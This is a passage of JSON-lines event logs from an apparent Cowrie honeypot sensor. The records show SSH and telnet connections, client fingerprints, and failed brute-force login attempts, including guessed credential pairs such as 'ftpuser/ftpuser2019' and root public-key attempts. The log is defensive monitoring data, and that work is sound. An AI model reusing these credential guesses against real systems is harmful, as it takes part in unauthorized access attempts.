x-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:27.047491Z","src_ip":"189.46.1.73","session":"db92b8e8647b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2019","message":"login attempt [ftpuser/ftpuser2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:27.729932Z","src_ip":"189.46.1.73","session":"db92b8e8647b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":53856,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b165ea95fef","protocol":"telnet","message":"New connection: 208.92.193.123:53856 (10.17.0.5:23) [session: 1b165ea95fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:28.570196Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:28.924579Z","src_ip":"189.46.1.73","session":"db92b8e8647b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":21772,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b2a79e271c","protocol":"ssh","message":"New connection: 101.36.119.184:21772 (10.17.0.5:22) [session: 31b2a79e271c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:38.405813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:38.410615Z","src_ip":"101.36.119.184","session":"31b2a79e271c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:38.628258Z","src_ip":"101.36.119.184","session":"31b2a79e271c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd1","message":"login attempt [test/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:39.527304Z","src_ip":"101.36.119.184","session":"31b2a79e271c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:40.748039Z","src_ip":"101.36.119.184","session":"31b2a79e271c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":47334,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f5c3f376114","protocol":"ssh","message":"New connection: 64.31.53.170:47334 (10.17.0.5:22) [session: 0f5c3f376114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.508564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.513663Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.526322Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:95:e1:83:5b:4f:4f:1c:29:a0:86:a5:99:85:c3:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoH7H+m1f5u07z4V9XOTLgaYIhD6bEx48yfu4O/ieBpmY50LrbJUtG3NFL9eKjy3YTep2MJtuCqFryO6zauKFaAk4ubjfgGxNybMCgsu/jZ/d7V7/lMssPRpXVhlYzGlUvdwPf5dV2kb+F27ysMa9xRdW1eJTUTO9V+LovSS3wjRkvkzuMu5yKKFjVj7NdtYSIrd6pIANuUK/bFQA6+9v7KDZ0baeKGWAL4vxm3GvSrYzULzKeVWWUNW4FCDrGfik5viYrde/9hMZ5F+kJvYyx5I4RAmSARWiX4r5NGeVpv2qR2QKO4gUQr4XTkzqtIrKuzlWEW/89/hgiITB6DJ7umpsNH9h2alqFZezRaRhX4KVhjgiCt2WNuxl9OhFq6Fe5scO26Py8Q5gx5BpPwbZMDVoWH9LQ1uocgOixEZAsqEL/Ehu9RZEKWzWYO/WJetB98H3qbCOSyVulJS+RBDkusHT9hj1xVI5+AHtmUyX4L+rajWvCHK48ewijyw5s0RR6rfsS9r1KEGyAUhDouyq6+0cj7ap04hEM0HS36JQ2l0SdoJQQHZetXvGuOqWE8b+rdJDb9VbsIx7htuZ7rzUFcWGQ0fND8x0jdbwvoGeqv4sNWVllD3n/wuSahcqn5pHmbRkjj4QgMBg34RWKbBQXi/NO0kR8NqRPo3f3lGEbCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:95:e1:83:5b:4f:4f:1c:29:a0:86:a5:99:85:c3:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.544425Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:95:e1:83:5b:4f:4f:1c:29:a0:86:a5:99:85:c3:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoH7H+m1f5u07z4V9XOTLgaYIhD6bEx48yfu4O/ieBpmY50LrbJUtG3NFL9eKjy3YTep2MJtuCqFryO6zauKFaAk4ubjfgGxNybMCgsu/jZ/d7V7/lMssPRpXVhlYzGlUvdwPf5dV2kb+F27ysMa9xRdW1eJTUTO9V+LovSS3wjRkvkzuMu5yKKFjVj7NdtYSIrd6pIANuUK/bFQA6+9v7KDZ0baeKGWAL4vxm3GvSrYzULzKeVWWUNW4FCDrGfik5viYrde/9hMZ5F+kJvYyx5I4RAmSARWiX4r5NGeVpv2qR2QKO4gUQr4XTkzqtIrKuzlWEW/89/hgiITB6DJ7umpsNH9h2alqFZezRaRhX4KVhjgiCt2WNuxl9OhFq6Fe5scO26Py8Q5gx5BpPwbZMDVoWH9LQ1uocgOixEZAsqEL/Ehu9RZEKWzWYO/WJetB98H3qbCOSyVulJS+RBDkusHT9hj1xVI5+AHtmUyX4L+rajWvCHK48ewijyw5s0RR6rfsS9r1KEGyAUhDouyq6+0cj7ap04hEM0HS36JQ2l0SdoJQQHZetXvGuOqWE8b+rdJDb9VbsIx7htuZ7rzUFcWGQ0fND8x0jdbwvoGeqv4sNWVllD3n/wuSahcqn5pHmbRkjj4QgMBg34RWKbBQXi/NO0kR8NqRPo3f3lGEbCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.548012Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:4c:05:55:cd:9b:6c:c0:7a:e1:cc:45:92:ff:a2:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1vPWpcxJsPFpQG2SxHuhrwMSSyCbZM9gmiVKwFMsuMNJWyEcdmOQ/ke5j3XQAEuIh7UqXAmlpapeVcxG23947aF64FtzN/tFH65VKCiExZQuUSTYEkRBj3T39sA+sO99FF43BNUcBX7GSvsH2oHepVEWSpQHPGlve3aqlLEMC6OL5U11lTasG/fxG0UvI+yn01S2PFLbe2jNi1xczfWf1zqMu4a/FUSxdpd+PkmtfExbQGyEV/zHMF4M77dB0R2wvHUUny6dQSPk5wQRCE5cYFmm9ifPSwYGbzjKrvYQwTa0tvz0vUNv9trkYu0sGXBaUtkZp38TjoLVzTDp0aAiQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:4c:05:55:cd:9b:6c:c0:7a:e1:cc:45:92:ff:a2:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.555278Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:4c:05:55:cd:9b:6c:c0:7a:e1:cc:45:92:ff:a2:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1vPWpcxJsPFpQG2SxHuhrwMSSyCbZM9gmiVKwFMsuMNJWyEcdmOQ/ke5j3XQAEuIh7UqXAmlpapeVcxG23947aF64FtzN/tFH65VKCiExZQuUSTYEkRBj3T39sA+sO99FF43BNUcBX7GSvsH2oHepVEWSpQHPGlve3aqlLEMC6OL5U11lTasG/fxG0UvI+yn01S2PFLbe2jNi1xczfWf1zqMu4a/FUSxdpd+PkmtfExbQGyEV/zHMF4M77dB0R2wvHUUny6dQSPk5wQRCE5cYFmm9ifPSwYGbzjKrvYQwTa0tvz0vUNv9trkYu0sGXBaUtkZp38TjoLVzTDp0aAiQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.559558Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:ba:fd:b0:35:8c:5a:58:b8:0e:e0:2d:ac:d5:86:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBYwfwNirtsN2xRs60iS3Ak7ZrZeprL6R2MFSmnox00gxu2lbCLca6O/YqdCZL0FfvoFnekEpZhzIWn+EpW6gdCF3K8he6vKrXzkllEFtiWXBbEtqOCd5SVL3gTlmoaTnN1cb2BbO/1g61bbFxngw5Sl+Mj1Z7dXCFUocUPKzCTDeT865wHkbSQVfpH+ydW1FRxQgBPSTbcprax6HWNozHnYwYYscECijOa0BW13kTmyC1UpifiEl6iVF1HG1YbSnVP3phvOsqVrJ8Q98toMzjSb6AcLlPbgcsYx8LcIG2ITPjhlHT9E8dIUet2ccjj+9SrfQoq/M+XauslYVKRddb7Wl87hTzXSVND0dHOLpcoKB6h9abmQLVMbd51Sp8oQ5+KKdwXv+jubRoWsY/tO6yGCxRmwCO+5IYNF7Tcd62w40KSKAYadlLBgbz5CqJFpmoO2VGk27EhuhiV70IInK8pUTYmbtDeFRzRMjyomoeclYp9ojdwm/UbsCjZUHajjtvC0cbcoBO9uyeMSZkuXr1m0yMs3BAW8hDT5vr4KodnHWk2sqkRnAujP5Y9/2T9P0Uu2ZEiODhOx4860hTmwwbIt68t8EopkCOtQibE+i+0o4r5Bd7KTJbvMnVEYTemgmhPLQwM5ZIdHO/aXWpjsSjarTaDoNq0KSM7iQqV+zvCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:ba:fd:b0:35:8c:5a:58:b8:0e:e0:2d:ac:d5:86:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.567098Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:ba:fd:b0:35:8c:5a:58:b8:0e:e0:2d:ac:d5:86:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBYwfwNirtsN2xRs60iS3Ak7ZrZeprL6R2MFSmnox00gxu2lbCLca6O/YqdCZL0FfvoFnekEpZhzIWn+EpW6gdCF3K8he6vKrXzkllEFtiWXBbEtqOCd5SVL3gTlmoaTnN1cb2BbO/1g61bbFxngw5Sl+Mj1Z7dXCFUocUPKzCTDeT865wHkbSQVfpH+ydW1FRxQgBPSTbcprax6HWNozHnYwYYscECijOa0BW13kTmyC1UpifiEl6iVF1HG1YbSnVP3phvOsqVrJ8Q98toMzjSb6AcLlPbgcsYx8LcIG2ITPjhlHT9E8dIUet2ccjj+9SrfQoq/M+XauslYVKRddb7Wl87hTzXSVND0dHOLpcoKB6h9abmQLVMbd51Sp8oQ5+KKdwXv+jubRoWsY/tO6yGCxRmwCO+5IYNF7Tcd62w40KSKAYadlLBgbz5CqJFpmoO2VGk27EhuhiV70IInK8pUTYmbtDeFRzRMjyomoeclYp9ojdwm/UbsCjZUHajjtvC0cbcoBO9uyeMSZkuXr1m0yMs3BAW8hDT5vr4KodnHWk2sqkRnAujP5Y9/2T9P0Uu2ZEiODhOx4860hTmwwbIt68t8EopkCOtQibE+i+0o4r5Bd7KTJbvMnVEYTemgmhPLQwM5ZIdHO/aXWpjsSjarTaDoNq0KSM7iQqV+zvCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.571111Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:1b:7d:ad:a4:58:3b:8d:3d:9f:e1:97:79:67:d2:67","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOGmKxVY1yl3gmTYXGRY2vLbg3KcfQBCCzL4EJd3h7kW8AB+MvRRdrT9mQ6ZDM8WLCPMGfdzmqsn8enJ8f7LLW8/7JcX0brZDKLq0jBIFvxdQFTGOJPoFhwPF4EZT6TcVH2PPfsScZ6Z4/URObpAPawTdcXQ+c1cGxK8MQJrpJCjAAAAFQCA6fYleC2ckHrpELwfaiOd4OCpbQAAAIEA3UO4M1w8of2L+p8YA7cZAvLB7jWeTfZvyiV1X8olScR+kxPc8dQnFLQwGDKFJP7N6RahdEh/14yQ7ixPHEWke9as0+y4IIAzvSzs81KB7uPKKVfyZK922N39CkXM6Ugt9QDmMxtZ99PT9JtZfup8GMOTyOOSWoZ/uEnSCZiJ/dIAAACAbb5wnW+A0Tghmry/SJKSlJnU5TQb09gUPJzBW4FbHEIoBNRn+v52zm54W2h8/FatxCtodaSlng2IGfEzTAsKIq1VdouXOTcQpoH/2hWntnztigkWYpSJnht21RhsHGDqOn3efarvbIj1Bjc05UdIeSjxTGvhc8BFAtlfcUA80Nc=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 6e:1b:7d:ad:a4:58:3b:8d:3d:9f:e1:97:79:67:d2:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.581798Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:1b:7d:ad:a4:58:3b:8d:3d:9f:e1:97:79:67:d2:67","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOGmKxVY1yl3gmTYXGRY2vLbg3KcfQBCCzL4EJd3h7kW8AB+MvRRdrT9mQ6ZDM8WLCPMGfdzmqsn8enJ8f7LLW8/7JcX0brZDKLq0jBIFvxdQFTGOJPoFhwPF4EZT6TcVH2PPfsScZ6Z4/URObpAPawTdcXQ+c1cGxK8MQJrpJCjAAAAFQCA6fYleC2ckHrpELwfaiOd4OCpbQAAAIEA3UO4M1w8of2L+p8YA7cZAvLB7jWeTfZvyiV1X8olScR+kxPc8dQnFLQwGDKFJP7N6RahdEh/14yQ7ixPHEWke9as0+y4IIAzvSzs81KB7uPKKVfyZK922N39CkXM6Ugt9QDmMxtZ99PT9JtZfup8GMOTyOOSWoZ/uEnSCZiJ/dIAAACAbb5wnW+A0Tghmry/SJKSlJnU5TQb09gUPJzBW4FbHEIoBNRn+v52zm54W2h8/FatxCtodaSlng2IGfEzTAsKIq1VdouXOTcQpoH/2hWntnztigkWYpSJnht21RhsHGDqOn3efarvbIj1Bjc05UdIeSjxTGvhc8BFAtlfcUA80Nc=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.585369Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:7f:56:98:1e:41:f5:36:56:6e:a5:35:e3:bc:69:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMz8sJ+ZPeKO9B0bsyY1Aa+VaQ9QiaJeEL8g7pFFtTJz3IKx7UHTRMO+KIouDqCAJkXpBwwJHjHbuJGk04V1ISWUcEdPew0GzRmlOwh4593UMwudBmgegoZLnS74HZ/2xoxtnl4bfdvkr8rhSoN+W0qRjLLI9NEarCzb8WdNA2EDb5AxFickUhhwEuR5t1dU5I74re1ounGIK2gaLdm1TjZ2MKyDoOmg7niLfm00LuqBU1I65Vw/4o+fkTAdbImgHya1B6WQVO1n88HG0Bv5zP2PZpKiY/eNQa4h8GM+HOOdpls/Wm+skrvBPJ5fg8xGemFx9FKqIZ/vBpOjk2cuh7IdHZrfe9AcFu6UBFOWiKIm8I71dK006YWGMBAdp0YAdDhRWkonvoiEirc0v6nSaFL/LWHe5HIJiA9fSzbEhc64fo+0oGlxa9N00EaH9UpZ39sn2ayG3gCbvfUNd/GP9nr/QcmeRSt7hV827hIin9/41GGGlsCPsuVmSxjlJJBLhKqzpgqVsLCGT8rilkpFVyolGdT3TShuCX1fkCrYzYVJ454zunpGLa+F36/Z8q2Vj1qwqCg3qn4hvknF0afrGNGaJ/zO5faJsTrrUDjXG+U4f5vKstsA73EMuXPwMKrUM4G8IdAoFtWHERLDh5HTudaqxFxIv8iv0MOqaYJ+S2Uw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:7f:56:98:1e:41:f5:36:56:6e:a5:35:e3:bc:69:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.594839Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:7f:56:98:1e:41:f5:36:56:6e:a5:35:e3:bc:69:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMz8sJ+ZPeKO9B0bsyY1Aa+VaQ9QiaJeEL8g7pFFtTJz3IKx7UHTRMO+KIouDqCAJkXpBwwJHjHbuJGk04V1ISWUcEdPew0GzRmlOwh4593UMwudBmgegoZLnS74HZ/2xoxtnl4bfdvkr8rhSoN+W0qRjLLI9NEarCzb8WdNA2EDb5AxFickUhhwEuR5t1dU5I74re1ounGIK2gaLdm1TjZ2MKyDoOmg7niLfm00LuqBU1I65Vw/4o+fkTAdbImgHya1B6WQVO1n88HG0Bv5zP2PZpKiY/eNQa4h8GM+HOOdpls/Wm+skrvBPJ5fg8xGemFx9FKqIZ/vBpOjk2cuh7IdHZrfe9AcFu6UBFOWiKIm8I71dK006YWGMBAdp0YAdDhRWkonvoiEirc0v6nSaFL/LWHe5HIJiA9fSzbEhc64fo+0oGlxa9N00EaH9UpZ39sn2ayG3gCbvfUNd/GP9nr/QcmeRSt7hV827hIin9/41GGGlsCPsuVmSxjlJJBLhKqzpgqVsLCGT8rilkpFVyolGdT3TShuCX1fkCrYzYVJ454zunpGLa+F36/Z8q2Vj1qwqCg3qn4hvknF0afrGNGaJ/zO5faJsTrrUDjXG+U4f5vKstsA73EMuXPwMKrUM4G8IdAoFtWHERLDh5HTudaqxFxIv8iv0MOqaYJ+S2Uw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.598762Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:48.606726Z","src_ip":"64.31.53.170","session":"0f5c3f376114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53267,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a74f231bd39","protocol":"telnet","message":"New connection: 212.55.149.117:53267 (10.17.0.5:23) [session: 5a74f231bd39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:59.504875Z"}
{"eventid":"cowrie.session.closed","duration":31.106632471084595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:59.676711Z","src_ip":"208.92.193.123","session":"1b165ea95fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":38152,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b7478c55966","protocol":"ssh","message":"New connection: 101.36.119.184:38152 (10.17.0.5:22) [session: 2b7478c55966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:27.232615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:27.238398Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:57:27.458147Z","src_ip":"101.36.119.184","session":"2b7478c55966","protocol":"ssh"}
